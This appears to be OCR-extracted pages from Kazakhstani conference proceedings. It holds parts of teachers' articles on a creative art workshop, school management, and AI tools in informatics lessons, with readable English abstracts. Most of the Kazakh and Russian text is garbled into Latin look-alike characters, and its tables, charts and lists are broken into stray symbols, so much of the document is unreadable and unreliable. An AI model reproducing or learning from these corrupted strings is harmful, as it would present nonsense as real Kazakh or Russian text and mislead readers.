22. AxmeToBa C.A. Kepkem eHbeKKe OKbITYAbIH aaicTemenik Herizgepi. — Hyp-CynTaH: ¥narar,
2020. - 156 6.

23. Toxibaesa .M. OKyLblNapabiH WbiFapMaLlblIbIK KabineTiH gambITy skongapsl. // binim —
Ob6paszoBaHue, 2021, No3.

24. Kanvesa M.K. STEAM TexHONOruAcbl — KpeaTusTi oMnayabl AambiTyAblH Kypanbl. //
Meparormkanblk keHec, 2022, No6.
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TBOpYECcKaa macTepcKas

HopbyTaes MapaT Abaysannesmny
KIY «llkona-rumyasunsa Ne 103» YnpasneHma obpasoBaHma ropoda AamaTsl
Yyumeno npedmema «¥1306pazumernsHsiti mpyo»

AHHOTaUMA. B faHHOM cTaTbe paccmaTpMBaeTCA CoOAepKaHMe, CTPYKTYpa M 3dPeKTMBHbIE Cnocobbl
NPUMEHEHNA METOAMKM «TBOPYECKAA MACTepCKaA», peann3yeMon B pamKax npegmeTa
«MN306pasuTenbHbin Tpya». OCHOBHOM Le/blo AaHHOW MacTepcKkoM, pa3paboTaHHOM Ha OCHOBe
aBTOPCKOM  MpPOrpamMmbl, ABAAETCA  Pa3BUTME  TBOPYECKMX  CMOCOBHOCTEN  yyalimxcs,
dopmMMpoBaHME HaBbIKOB BbIPA3nUTE/NIbLHOIO CaMOBbIPAXKEHWA U TPYA0BOro BOCMUTAHUA. B cTaTbe
npeacTaB/ieHbl 3Tanbl NPUMEHEHUA METOAMKN, €€ 3DPEKTUBHOCTb M NONYYEHHbIE Pe3yabTaThbl C
KOHKPETHbIMM MPUMEPAMMU, a TaKKe AaHbl PEKOMEHAAUMN A8 Neaaroros.

KntoueBble cnoBa: M306pasuTenbHbIM TPyA, TBOPYECKas MacTepckas, MeToAMKa obydyeHus,
npoekTHana paboTa, aBTOpPCKan Nporpamma.

Creative workshop

Norbutayev Marat Abduvalievich

Municipal State Institution «School-gymnasium Ne 103» of the Almaty City Department of
Education

Teacher of the subject «Art and Labor»

Abstract. This article discusses the content, structure, and effective implementation methods of
the «Creative Workshop» methodology applied within the «Art and Labor» subject. The main goal
of this workshop, developed based on an author's program, is to enhance students' creative
abilities, develop their skills in artistic expression, and foster a strong work ethic. The article
outlines the stages of applying the methodology, its effectiveness, and results using specific
examples, along with recommendations for educators.

Keywords: art and labor, creative workshop, teaching methodology, project work, author's
program.
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Binim Bepy yinbimbiH Backapyaarbl
MEeHeIKMEHT

BaTbipxaHoBa YMUT KokTeybaeBHa
AnmaTbl Kanacol binim backapmacbiHbiH «Ne 103 mekTen-rumHasna» KMM,
LlupeKmopObiH OKY ici eHiHOe2i opbiIHbacapsi

AngaTtna. byn agictemenik Mmakanaga 6inim 6epy yibiMbiH 6acKapydafbl MEHEAKMEHTTIH,
TMiMAi apicTepi KapacTbipblnaabl. Kasipri 3amaHsbl 6inim 6epy canacbiHAa MeHeaXMEHTTIH, poni
epeklle MaHbI3abl. MaKkanana 3amaHayn backapy TexHonormanapsbl, kel baclbiabik Kabinetrep,
CcTpaTernsanbikK ocnapnay, b6inim canacbiH apTTbipyra OafbiTTanfaH MeHeAXMEHTTIK Tacinaep
x)ymeni Typae tangaHagbl. CoHbIMeH KaTap, backapy TaxKipnbeciHaeri oTaHAbIK KaHe WeTenaik
YArifiepre canbiCTbIPMaJibl LWOAY acaabiM, HAKTbl MPAKTUKaA4aAH afblHFAH MblCaiaap YCbiHbIAAAbI.
Makanaga umdpnbik Kypangapabl Hackapy yaepiciHe eHrisyfiH, HaTUXKenepi, mekTeniwinik
KoL b6acLbIbIKTbl AaMbITY XaHe Binim canacbiH apTTbipy OafbiTbiHAAFbI KELWEHAI KaJaMaap ernkemn-
Ternkenni basHaanaabl. 3epTrey HaTukenepi b6inim bepy yibiImaapbiHaaFsl backapy TaxipubeciHe
aHala cepniH bepin, NeaarornKanblK YKbIM HKYMbICbIHbIH, TUIMAINIMIH apTTbipyFa MYMKIHAiK
bepeTiHiH KepceTes,.

TyliH4j ce3aep: MeHeaKMeHT, 6inim 6epy yibIMbl, CTpaTernabiK 6ackapy, neaarormkasnbik,
VKbIM, TMiMA] Backapy, 6inim canacel.

Kipicne

Kasipri 6inim 0Oepy KyMeciHiH, »KahaHaaHy XafganbiHOafbl KapKbliHAbl Aamybl Oinim 6Hepy
yMbIMAapblH DGackapyda KaHa KesKapacTap MeH ajicTepai KarkeT eTeai. backapy — 6yn Tek
SKIMLWINIK-yMbIMAACTbIPYLIbIbIK, KbI3MET €MeC, COHbIMEH KaTap KellbacllblblK, CTPaTernablK,
bonkay sKaHe e3repictepre benimaene any Kabineti. XX facbip mekTebi 3amaHayu b6inim bepy
TananTapblHa cai 60/ybl VWiH OHbl TUIMAI Backapa anaTbiH MeHeaXepnepiH MaHbI3bl apTa

Tycyae.

KasakcTtaH PecnybamKacbiHbIH, BifliM aHe FblIbIM MUHUCTPAITiHIH, CTPATErMANbIK KyXKaTTapblHaa
6inim Gepy canacbiH apTTbipy MaKcaTbiHaa binim Bepy yhbimaapbiH 6ackapydblH, TUIMAIAIriH
apTTbipy, HaTuKere OafbiTTanfaH bOackapy KyMeciH eHridy 6acTbl TananTapabiH O6ipi peTiHae
KepceTinreH. OcblfaH opai, mekTen 6aclbliapbl MeH JKIMLWIAIK KypamMHbIH MeHEeaMMEHT
canacblHAAFbl KY3bIPETTINIMH XeTinaipy e3ekTi macene 60/bIN OTbIP.

MakanaHblH, MakcaTtbl — binim Hepy yilbiMbiH Backapydafbl 3amaHayyn MeHeAXKMEHT YArinepiH
cMnaTTay, OHbIH TUIMAI 3AicTepiH NpaKkTUKaaa KOoM4aHy OAJapblH KOPCETY KaHe Taxipnbenik
HOTUXKeNepiH Tanaay.

Minoemmepi:

.0

»  binim bepy meHeaKMEHTIHIH, TeOpUANbIK Heri3aepiH 3epaeney;
» backapyaa KongaHblAaTblH 3aMaHaym TEXHOIOTMANAP MEH 3AicTepai cnunaTray;
Toxipnbene 6ackapyablH TMIMA 3KONAaPbIH KEepCeTy;

MeHeaXMEHTTIK TaCinAepaiH apTblKLWbIAbIKTaPbl MEH KEMLLIAIKTEPIH capanay.

B3

R/
0.0

R/
0.0
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Ocbl TaKblpbin TeHiperivae Hypnewcosa T.b., Kanpaw W.H. cnAKTbl OTaHAbIK fanbiMAapAbiH,
eHbeKTepi, coHbimeH KaTap Fullan M., Hargreaves A. cbiHAbl LWeTen4ik 3epTTeylinepair
TEOPUANbIK  TYXKblpbIMAApbl  Heriare anbiHagbl. OnapablH — eHbekTepiHae 6inim  Hepy
MeHeAKMEHTIHIH, KeLlbacLbl/blK, KOMaHAANbIK }YMbIC, bIHTA/IAHAbIPY }KaHE HaTUKere barbITTany
acnekTinepi KeHiHeH KapacTbipbiafaH [1].

o4icteme

binim Hepy yinbimbiH BacKapyaa KOAaHbLNATbiH 3amaHaynm MeHedKMeHT ajicTemeci bipHelue
©3apa HannaHbICTbl KOMMNOHEHTTEPAEH TYPadbl:

1. CrtpaTerusnbik 6ackapy: MekTenTiH M1ccHAckl MeH H6onallasbiH aliKpliHAAM, y3aK mep3imai
MaKcaTTap Koto. byn agic SWOT-Tangay, SMART makcaT KOl CUMAKTbI Kypandap apKblbl
YKy3ere acagpl.

2. Kewbacwsbinbik: backapylwbl TyAfaHbiH ~ Kewbacwbl  peTiHAeri  peni  MaHbi3abl.
KelwbaclblbIKTbIH AEMOKPATUANBIK, KOYYMHITIK KoHE KbI3MET KepCceTy Typ/aepi Kasipri
MEKTeNTe KeHiHeH KondaHblaagbl.

3. KOMaHZanblK XKyMbIC: YXKbIM iWiHAEri bIHTbIMAKTACTbIK MEH ayanKepwinikTi apTTbipy.
MyHZa VKbIMAbIK *Kocnapaay, bipaeckeH wellim Kabblagay, nikipTanac sgictepi MaHbi3abl
pen aTkapaapl.

4. binim 6epy canacbiH backapy: byn 6enimae okylubinapapiH 6inim HaTUKeNepiH capanay,
MOHUTOPUHT XKYPTi3y, MYFaniMaepAiH, Kacibn gamyblH Oakbliay, aTa-aHanapmeH Kepi
HalinaHbIC Kacay CUAKTbI aCNeKTiNep KapacTblpblaaabl.

5. Undpnblk TexHonorusnapabl KongaHy: backapyaa umdpnblk nnatdopmanap  MeH
Hafoapnamanbik KynMenepaiH peni KyH caHan apTbin Keneai. Mbicansl, Kundelik.kz,
BilimLand, Zoom, Teams, Google Workspace for Education nnatdopmanapbl [2].

MpaKTuKaga KongaHy

ABTOp XeTeKWinik eTkeH 6inim Oepy yibimbiHaa 2023-2024 OKy »KblblHAA CTPATErUANbIK,
}ocnapnay aHe Kellbacllbiablk 6afbiTbiHAA KelleHAi ic-lapanap *ypridingi. Atan anTkaHaa:

1. CrpaTeruvsanbik famy *ocnapbl xacangbl. SWOT-Tangay HaTMXKeCIiHAE MEKTEeNTiH, KyLWTi
YKOHEe 9/1Ci3 TyCTapbl, MYMKIHAIKTED MeH KayinTep aHblKTanabl. Ocbl Herizge 3 KblagblK
AaMy Kocnapbl Kypblaapl.

2. TeparorvKkanbik, KeHecTepae KewbacwwsbinblK, ~ BafbiTTarbl KOYUYMHTr-ceccmanap
yibiMaacTbipbingsl. Myfanimaepre apHanfaH «Kewbacwbinblk — TUiMAi HackapyabiH,
Heri3i» aTTbl TPEHWHT oTKi3inai. HaTmxkeciHae myranimaepiH, e3-e3iH baranay aeHreni
apTTbl.

3. Undpnblk Kypanaapabl KongaHy: Myranimaep MeH SKIMWINIK apacbiHAafbl e3apa
H6annaHbICTbl TMIMA] eTy ywiH Google Form, Padlet, Trello nnatdopmanapbl KOAAaHbIAAbI.
Mbicanbl, cabaKkTapra KaTbicy ecebi meH Kepi balinaHbiC aBTOMATTaHAbIPbIAAbI.

4. OKy canacblH 6akblnay: OKy bibl 6apbiCbiHAa@ TOKCaH CalblH OKYyLIbIIAPAbIH, Ginim
canacblHa MOHUTOPUHI Kyprisinin oTblpabl. On HaTUXKenep HerisiHae oaaictemenik
HipnecTikTep KymbiCbl ocnapnaHapl. Mbicanbl, 2024 KbiAfbl KaHTap aWbiHAAFbI
OMArHOCTUKANbIK TECT HITUMKECIHAE 6-CbiHbIM OKYLLUbINAPbIHbIH, MaTeMaTMKaaaH 6inim
canacbl 58%-naH 72%-fa AelniH ecTi.

5. Arta-aHanapmeH Tvimai 6arinanbic: OHNaMH KMUHaNbICTap, Kepi 6alnaHbiC cayaHamanapsl
apKblibl  aTa-aHanapAblH  YCbIHbICTAapbl ecKepinin  oTbipAbl. byn meKkTenke aerewH
CEHIMAINIKTI apTTblpAbl.
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Kecme 1 — MeHeOxmeHm macindepiHiH cunammamacsi

Tacin ataybl MakcaTb! KonaaHy canacel ApPTbIKLWbINbIFLI
CTpatermanbik ¥3aK mep3imai gamy MexTenTi 6ackapy HaKkTbl MaKcaTKa
Hbackapy YKOCMapbIH aHbIKTay HbafbiTTay

KewbacLblablIK,

¥XbIMAb! bIHTAIAHAbIPY,

MeayXbIMMEH KYMbIC

CeHimainik neH

MOTMBaALMA CEepIKTECTIK
Undpabik bBackapy TmimAainiriH KyHAENiKTi YaKbIT YHeEMAeY,
TexHosnormanap apTTbIpy *ocnapnay KO/KETIMAINIK

Kecme 2 — Ljugpnsik Kypandaposl bacKkapyoa Koao0aHy mMmelcanodapsi

Kypan ataybl

KosaaHy makcatbl

KongaHy mbicasbl

Google Form

AKnapaT *MHay, cayasiHama

MyranimaepaeH Kepi bannaHbic, aTa-

Tancelpmanapapl 6eny

KYprisy aHanap cayanHamachi
Padlet WNaeanap *uHay, MHTEPaAKTUBTI MyfanimaepaiH, yCbIHbICTaPbIH
TaKTa SKMHaKTay
Trello Hobanapabl 6ackapy,

MekTeniwinik xxobanapabl backapy

Luaepamma 1 — binim canacbiHbiH, ecyi (CypeT opHbl: MaTtemaTrKa naHi 60ibiHWAa 6-CbIHbINTbIH,
OKY eTiCTiriHiH, Anarpammacsl: 2023 . KblpKynek — 58%, 2024 . KaHTap — 72%)

Kofapblaa aTanfaH a4icTep MeH TEXHONOrMANAP MEKTEN VXKbIMbIHbIH, YAbIMIWbINALIK AeHreriH
apTTbIpbIN, Mefarortep MeH OKylblLIap apacbiHAafbl ©3apa CeHiM MeH bIHTbIMAKTACTbIKTbI

HbIFANTTbI.

6—Clilol-(i)bll‘l OKYLUbIJ1IAPbIHbIH, MaTeMaTUKa NaHi OOMbIHLLA OKY XXETICTiri

Binim canachbl (%)
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¥CbIHbICTap

21. Op meKTen e3 epeKLleniriHe cai cTpaTeranbiK Aamy KOocnapbiH ¥Kacaybl THIC.

22. MekTten 6aclbinblifbl KeWwbHaCWbIIbIK KAaCUETTePiH AaMbITy YLIH Y34iKCi3 OKbITyAaH eTyi
KaXKeT.

23. Undpnbik Kypanaapabl backapy KymeciHe KeHiHEeH eHri3y — yaKbITTbl yHEMAEMN, TUIMAINIKKe
KO/ XKeTkizea,.

24. OKy XKeTICTIKTEPIH MOHUTOPUHITEY XaHe neaarorrepmeH Kepi 6anaHbic opHaTy 6ackapy
canacblH apTTbipaapbl.

25. ATa-aHafnapMeH TypaKTbl 9pi Ma3MyHZbl KapbIM-KaTblHAaC OPHATY — MEKTENTIH, 9/1eyMETTIK
CEPIKTeCTiK AeHreniH ketepedai [3].

KopbITbIHAbI

Binim 6epy yMbiMbiH 6ackapydarbl 3aMmaHaym MeHeXMEHT 94iCTepi MeKTeNTiH, AamybliHa, Binim
canacblHblH, apTyblHA KaHE MefarorMkanblK YKbIMHbIH, bIHTbIMAKTaCTbIFbIHA TiKenel acep eTea,.
KewbacliblablK NeH CTpaTernasblK Kocnapaayfa HeridgenreH 6ackapy moaeni MekTenTi TUiMA|
Hackapbin KaHa KoMMmai, e3repictepre MKemzi, 3amaHaym Tanantapfa calt opTa KasnbIiNTacTbipyFa
MYMKiHAIK 6epeni. CoHbiMeH KaTap, backapy vyaepiciHe UMPPablk, TeXHONOTMANapAbl EeHrisy
SKIMWINIK pecypcTapabl OHTaMAbl NanAanaHbiN, OKY CanacblH KaJafanay MeH YXKbiMapasblK
HalNaHbICTbl HbIFANTYFa KON alladbl.

MaKanaza yCbiHbINIFaH aicTemenep MeH NpakTUKanblK HaTUXenep backa binim bepy yMbimaapsi
YWiH ae komkeTimai, benimaeyre biHFannbl. CoOHAbIKTaH H6yn Taxipnbe neagarortep meH mekTen
baclblnapbiHa backapy canacbiHAafbl Kacibu Ky3blpeTTifikTi gambiTyaa OafbiT-barmap bepegi.
Bonawakra 6yn OGafbiTTafbl 3epTTeynepdi KeHeWTy apKblabl MeHeAXMEHTTIK Taxipubenepai
CTaHAapTTay, b6inim Bepy canacbiH Daranay »KyMeciH KeTingipy »KaHe bacKapyablH, TMIMAINIriH
apTTbipyFa bonaapl.

KonpaHblnfaH AepeKTep Tisimi:

25. ®yanaH M. HoBoe noHMMaHue o6pa3oBaTenbHbix M3meHeHui. — Hbto-Mopk: Teachers
College Press, 2017.-336c.

26. Xaprpues A., ®uHk [. Ycronumsoe nanaepctso. — CaH-PpaHumcko: Jossey-Bass, 2006. - 256
C.

27. MuHuctepcteo 06pa3oBaHns M Haykm Pecnybnmkm KasaxctaH. CTpaTerMyeckuit nnad
pa3BnTnA Ha 2020-2025 rogpl. — Hyp-CyntaH, 2020.

MeHeaXMEeHT B ynpaBneHMn obpasoBaTelbHOM OpraHn3aLmen

BaTbipxaHoBa YMUT KoKkTybaeBHa
KIY «lkona-rumHasunsa Ne 103» YnpasneHma obpasosaHma ropoda AamaTsl
3amecmumens dupekmopa no y4ebHol pabome

AHHOTauuAa. B AaHHOM MEeTOAMYEeCcKOM CTaTbe pPaccMaTpMBaloTca 3bPEeKTUBHbIE MeToapbl
MeHeaKMeHTa B yrnpaBieHMM obpa3oBaTesibHOM opraHusaumen. B coBpemeHHbIX YCnoBMAX
cuctema obpasoBaHus TpebyeT ocoboro noaxoda K YNpaBAEHWIO, W POAb MeHeAKMEHTa
CTAHOBMTC OCODEHHO BaXHOW. B cTaTbe CUCTEMHO aHa/AM3MPYIOTCA  COBPEMEHHbIE
ynpaB/ieHYeckmne TexHOMOrMM, NAEPCKME KayecTBa, CTpaTernyeckoe nAaHMpPOBaHWE, a TaKkKe
MeHeKepCcKne noaxoabl, HanpasBaeHHble Ha MoBbILIeHNe KayecTBa obpasoBaHMA. Kpome Toro,
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NPOBOAMTCA CPaBHUTENbHbIM 00630p OTeYeCcTBEHHbIX W 3apybekHbiX Moaener ynpasneHus,
NPUBOAATCA KOHKPETHbIE MPUMEPbI M3 MPAKTUKU. TakkKe noapobHO OMUCHIBAKOTCA pe3y/nbTaTbl
BHeAPEeHWs UMGPOBbLIX MHCTPYMEHTOB B yNPaBAEHYECKMI NPOLECC, Pa3BUTUE BHYTPULLIKObHOIO
NMAEepPCTBA WM KOMMJIEKCHblE LWaArM Mo MOBbIWEHNIO KayecTBa 06pa3oBaHMA. PesynbTaThl
MCCNenoBaHUA AEMOHCTPUPYIOT, YTO MPUMEHEHME COBPEMEHHbIX METOA0B YNpPaBAEHMA NPUAAET
HOBbIM MMMYAbC YNPaB/JeHYECKOM NpakTuKe B 06pa3oBaTe/ibHbIX OpraHn3aumsax M cnocobeTeyeT
NoBbIWLEHUIO 3PPEKTUBHOCTM PabOoTbl NegarorMyeckoro Koa1eKkT1Ba.

Kntouesble CNoOBa: MeHeaKMeHT, obpa3oBaTebHaA OpraHM3auma, cTpaTernyeckoe ynpasaeHue,
neaarornyeckmin KoNnekTus, apPeKTMBHOE ynpaBaeHne, KayecTBo 06pa3oBaHuUs.

Management in educational organization leadership

Batyrkhanova Umit Kokteubayevna

Municipal State Institution «School-gymnasium Ne 103» of the Almaty City Department of
Education

Deputy director for Academic affairs

Abstract. This methodological article examines effective management methods in the leadership
of educational organizations. In today’s educational sphere, the role of management is particularly
crucial. The article provides a systematic analysis of modern management technologies, leadership
skills, strategic planning, and management approaches aimed at improving the quality of
education. Additionally, it offers a comparative overview of domestic and international models of
management and presents practical examples. The article also details the results of integrating
digital tools into management processes, the development of in-school leadership, and
comprehensive steps taken to enhance educational quality. The research results show that
implementing modern management strategies gives new impetus to the management practices
of educational organizations and enhances the effectiveness of teaching staff performance.

Keywords: management, educational organization, strategic leadership, teaching staff, effective
management, quality of education.
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YKacaHabl MHTENNEKT Kynenepi: Konaaty,
MHTerpauma, wewimaep

Hanmmbetosa Hyprynb MaxmyabekoBHa

«Kbi3blnopaa 0babICbIHbIH Binim BackapmacbiHbiH, «Ka3anbl ayaaHbl OonbiHLWaA Binim
benimiHiH «b.K.MepreHbaes aTbiHAaFbl N2 226 meKTen-rumHasnsa» KMM, MHpopmamuka
NoHI MyFasnimi

AHgaTtna. byn sgictemenik makanaga »acaHabl MHTennekt (W) kynenepin 6inim bepy
npoueciHe eHrisyAiH, MaHbI34bl/1biFbl, 0ONapAbl KONAAHY XKOA4apbl XaHe TUiMAI MHTerpaumanay
Toxipmubenepi KapacTbipblnadbl. ABTOp MW TexHoNormsnapbiHbiH, 3amaHayn bHinim  Hepy
yMeciHaeri opHbl MeH PeniH albin, 03blK NeJarorMkanblk Taxipubenep HerisiHae onapablH,
KON AaHblNybIH cunaTTanabl. CoHaan-aK, MakanaHblH NpakTUKanbik benimiHae KW anemeHTTEpIH
HaKTbl OKY Y/epiciHe eHri3y mbicanaapbl ycbiHblNaabl. Makana neparortep meH bHinim Hepy
canacblHAafFbl MamMaHaapFa apHaiFaH.

TyMiHAI ce3nep: KacaHabl MHTENNEKT, uMdpabIK Binim 6epy, neaarornkanblk TEXHONOIUA,
NHTerpauma, 6inim 6epyaeri MHHOBaLMA.

Kipicne

Kasipri 6inim 6epy xyreci TepeH, TpaHchopmaLuma Ke3eHiH bacTaH eTKepin »aTtblp. by yaepicTiH,
HacTbl KO3FayLbl KYLLi — XacaHabl MHTenneKkT (W) TexHonormsanapbl. W — TeK TeXHUKaNbIK Kypan
faHa eMec, COHbIMEH KaTap OKbITYAblH Ma3MyHbl MeH a4icTepiH Tybereini e3repTeTiH daKkTop.
onemaik Taxipube KepceTin oTbipraHaaln, MW Kylenepi OKbITy MPOLECIH KeKkeneHaipyre,
OKYLUbINApAablH, YArepimiH HakTbl Oafanayfa, OKy MasMyHblH aBTOMaTTbl Typae OGelimaeyre
MYMKIHAIK 6epea,.

KaszakcTaHaa umdpnaHablpy NPoOUeci KapKblHAbI KYPin KaTKaHbIMEH, acaHAbl WMHTENNeKT
anemeHTTepiH B6inim bepy canacbiHa MHTerpaumsanay ani ae 6acrtankbl aeHrenae. CoHAbIKTaH byn
Mace/ie OTaHAbIK NeJarormkaja e3eKTi TaKblpbINKa alnHaAbin oTblp. MaKanaHblH, Heri3ri MakcaTbl —
KW wyrenepid binim bepy yaepiciHe TUMIMA[ eHri3y aicTeMeciH YCbIHY, O/apdbl NMpakTUKaaa
KONAaHY ONAapblH CMNATTan, HaTUXKeNepiH Tanaay.

MaKanaga wetengik seprreywinepmid, (Mbicansl, A. XelikeHeH, T. Jlakep, J. Holmes) XW-ai oky
vaepiciHae KonaaHy TaxipnbenepimeH Katap, oTaHAbIK aBTopaapabiH (Hypneuncosa T.6., Kaiaaw
N.H.) 3epTTeynepi HeriziHge Tangay kacanabl. byn wony KW TexHonormanapbiH 6inim 6epy
npoueciHe eHrizy 6apbiCbiHAa NeaarortepAiH HakTbl OafbiTTap OOMbIHLLA KYMbIC KacayblHa
KemeKTeceai [1].

o4icteme

acaHabl WMHTENNEKT XKyMenepiH OKy NpoueciHe eHrisydiH agictemeci yw Herisri 6afbITThbl
KamTnapl:

1. Binim Gepyai xekeneHaipy (nepcoHanusaums): KW xkyilenepi OKyliblNapAablH, OKy
HoTMXKEeNepiH yHeMi Oakblian, »eKe OKy TPaeKTopuAnapbliH Kypyfa MYMKIiHAIK bepeai.
Mbicanbl, Zernov Al, ChatGPT for Education, Squirrel Al cbiHabl nnatdopmanap 6inim
aNyLWbIHbIH AEHTeMiH aHbIKTan, CofaH CaMKec maTepuangapabl YCbiHAAbI.
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2. baranay oHe Kepi bainaHbic: XKW aBToMaTThl HaFanay »Kynenepi apKblabl OKYLWbINAPAbIH,
YKYMbICbIH }Kbl1@aM KaHe 421 6aranan, myfanimre kepi bannaHbic ycbiHaabl. MyHAalm Tacin
Google Classroom meH Edmodo nnatdopmanapbiMeH MHTErpaLmMa apKblabl *Ky3ere acapl.

3. OKRy Ma3sMmyHblIH XeTingipy: KW xyenepi myranimaepre cabak mMasamyHblH acaKkTayda
Kemek Oepedi. Mbicanbl, OKyLWbINAPAbIH KbI3bIFYLIbIAbIFbl MEH YArepimiHe Kapaw
berimaeneTiH TeCTTep MeH Tancbipmanap reHepaumaAchl *Ky3ere acblpblaaap.

oAicTeme HerisiHe TeMeHAeri NPUHLUWNTED aNnblHFaH:
%  WHTepaKTUBTINIK NeH BenceHainik: okyLbIHbIH BenceHai KaTbicybl;
< XekeneHaipy: op oKylblfa Keke 6inim bepy TPaeKTOPMACHIH YCbIHY;
< YHeMAainik neH TMimAainik: myranim eHberiH aBToMaTTaHabIpy apKbl/bl YakbIT YHEMAEY.

bi3 »kacafaH aBTOPAbIK Mmodenb — «XKU-nnaTtdopmanapra HerisaenreH capanaHfaH OKbITy KyMeci»
nen atanagpl. byn kye ChatGPT, Curipod, Khanmigo, Quizlet Al, Google Bard cbiHAbl XKW
KypanaapblH HAaKTbl MakcaTTapMeH cabakKka eHrisyai kesaenai [2].

MpaKkTuKaga KongaHy
2024-2025 oKy bliblHAa@ 9-CbliHbIM OKYLIblAAapbIMEH MHbOPMaTMKa MaHiHAe MU kynenepi

KONJaHy OOMbIHLIG 3KCMEePUMEHTTIK XymMbic Kyprisingi. CabakTapga Keneci Kypangap
nanaanaHbinapl:

MU Kypanbl KongaHy maKkcaTbl KonpaHbinFaH cabak mbicansl
ChatGPT MaTiHAIK cypaHbICTap HerisiHae «ANrOPUTMAEP KIHE KacaHabl
TaKbIpbINTbI TYCIHAIPY, pedaekcns NHTENNIEKT» TaKblpblbbiHAA aNrOPUTM
asy KYPY TancblpmanapbiH opbiHAaY
Curipod NHTepaKTMBTI cnaliaTap apKbl/ibl Cabak bapbicblHAa OKYLbINAP TOMNMNEH
TONTbIK, *KYMbIC MHTEPaKTMBTI Tancbipmanap opbiHAAAb!
Khanmigo Kypaeni ecentepai Welwyae OKylWwblNap ecentepai WblFapy
KeHecli peTiHae 6apbicbiHaa Khanmigo-aaH KeHec angbl
Quizlet Al OkyuwblnapabliH 6inimiH bekityre Cabak coHbiHAa Quizlet Al apKbinbl
apHanfaH aganTuBTI TecTTep HekiTy TancblpmanapbiH OpbliHAAAbI
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Hatunxenep:

Loo- MW KypannapbiH KoNgaHy HaTuXXenepi

80

60

Manbi3 (%)

401

20

TakbIpbINTbl MeHrepy CeHimainik YakbIT yHemaey

ApPTbIKLWbINLIKTaPbI:

v

AN

OKyLWbl MOTUBALMACBIHBIH, apTybl;
YaKbITTbl YHEMAEY;

KocbiMLa AepeKKesaepre KO XKeTKi3y;
OKy npoueciHiH aepbecteryi.

KeMwinikTepi:

v
v

Kenbip okywbinap MN-re TonbikTam Tayenmi 60abin Kany MyMKiH;
Kasak TifiHae cananbl KOHTEHTTIH, a34blfbl;

v MyfanimaepaiH TeXHONOMMAAbIK CayaTTbiNbIFbIHbIH, 3PTYPAIAIT.

¥CbIHbICTap

acaHabl MHTENNEKT KYNenepiH oKy NpoLeciHe TUIMAj eHri3y VLiH Keneci yCbiHbICTapabl Ha3ap+a
aNnfaH XKeH:

1.

Myfanimaepre apHanfaH apHambl Kypctap: KW KypangaapbiH AypbiC KONAAHYAbl YUPETETIH
KypCTap yMbIMAACTbIPY KaXKeT.

Tingi 6enimaey: W xynenepiHiH Kasak Tinai MHTepdenciH KaHe KOHTEHTIH JaMblTy.

OKy MaKcaTTapbiHa CoMKecTiK: XKW KypanaapblH 6inim 6epy ctaHaapTTapbiMeH yiinecTipe
OTbIPbIN KONAAHY.

Okywblnapgbl gaspnay: Onapra KN-aiH MyMKIHAIKTEPI MEH LLIEKTeyAepiH YAPeTy.
Kayincizgik: W xynenepimeH »Kymbic HapbicbiHaa aepbec aAepekTepaiH, Kayincisairi
cakTay.

byn ycoiHbicTap neparortepre MW KypangapbiH CITTI €Hri3yre XoHe OKy CanacblH apTTbipyfa
KemekTecedi [3].

339




Proceedings of the 9th International Scientific Conference

KopbITbIHAbI

acaHabl MHTeNNeKT xyhenepi — binim Bepyaid, 6onawasbl. Onap OKbITY yAepiciH xeTinaipin,
OKYLLblNapAbiH, Binim anybiHa KaHa MyMKIHAIKTep awaasl. Makanaaa cunatTanfaH agicteme KU
KyMenepiH TMimai KonaaHy, onapabl HaKTbl OKY *KafdalbiHa berimaey, KaHe b6inim 6epy canacbIH
apTTbIPy *KONAAPbIH KAMTUAbI.

Mepnaror petiHae 6i3 W TexHonornsnapbiH Aypbic KongaHa bincek, onap 6i34iH, KemeKLimisre
anHanaabl. KU-ai aacTypni negarorMkanblk a4iCTEpMEH YILTACTbipy — canasbl BiniMHiH, Kenini.
CoHAblKTaH myFfanimaep meH binim bepy yibimaapbl 6y e3repictepre AanbiH 6OYbI KIHE YHEMI
Kacibn Aamyfa YMTbIaybl TUIC.

MakKanada ycbiHblAFaH Taxipnbe — bonallakKka *KacanraH HakTbl Kagam. byn Taxipnbe 6inim 6epy
YMECIHIH, MHHOBALUMANbIK AaMyblHAa MaHbI3Abl OPbIH aN1aTbiHbI CO3CI3.
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Cuctembl NCKYCCTBEHHOTO MHTENJIEKTA: MPUMEHEHNE, NHTETPaALLUA, PELLEHNA

HannmbetoBa Hyprynb MaxmynbekoBHa

KIY «lWKkona-rumHasmusa Ne 226 nmenmn b.K. Meprenbaesa» OTaena obpasoBaHua no
KasanuHckomy parioHy YnpasneHua obpasoBaHmMa KbisblnopanMHCKoOM obnactm
Y4yumens UHGpopMamuKu

AHHOTaUMA. B JaHHON METOAMYECKOM CTaTbe PacCMaTPUBAETCA BAKHOCTb BHEAPEHMA CUCTEM
MCKYyCCTBEHHOro uHTennekta (M) B obpasoBaTeNbHbIA MPOLECC, MyTU UX MPUMEHEHUA U
abdEeKTMBHAA MHTErpaLMsA B NeAarorMyeckyto NpakTMKy. ABTOP PacKpbiBaeT po/ib M 3HaveHue UN-
TEXHONOTMI B COBPEMEHHOM cucteme 0Opa3oBaHMA, OMUCLIBAET MX MCMOJb30BaHME Ha OCHOBE
nepeaoBOro MeaarorMyeckoro onbiTa. B MpakTMYeckor 4acTu cTaTbM MNpuBEAEHbI MPUMEpPSI
BHeApeHUs snemeHToB M B KOHKpeTHbIM y4yebHbii npouecc. CTaTbs npeaHa3HayeHa Aans
neaaroros 1 cneumanmncTos B chepe obpa3oBaHms.

KntoueBble CNOBa: WCKYCCTBEHHbIM WHTENNEKT, uudpoBoe o0bOpasoBaHMe, neparornyeckme
TEXHONIOTMW, MHTErPaLUMsA, MHHOBALMM B 0OPa30BaHNUMN.

Artificial Intelligence Systems: application, integration, solutions
Zhalimbetova Nurgul Makhmudbekovna
KSU «School-gymnasium Ne 226 named after B.K. Mergenbayev»
Kazaly District Education Department Department of Education of Kyzylorda Region

Computer science teacher

Abstract. This methodological article explores the importance of integrating artificial intelligence
(Al) systems into the educational process, their applications, and effective integration strategies.
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The author highlights the role and significance of Al technologies in modern education and
describes their use based on best pedagogical practices. The practical section of the article
provides examples of how Al elements are implemented in real educational settings. The article is
intended for teachers and education professionals.

Keywords: artificial intelligence, digital education, pedagogical technology, integration,
educational innovation.
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OKy cayaTTblNblfbl H6acTayblLL CbIHbINTA

Hypranuesa Canpamrynb MyTaHOBHa
«Kambbln 0b1bICkl aKiMAiriHiH Binim 6ackapmackl Kopaan ayaaHbiHbIH, 6inim 6eniMmiHiH,
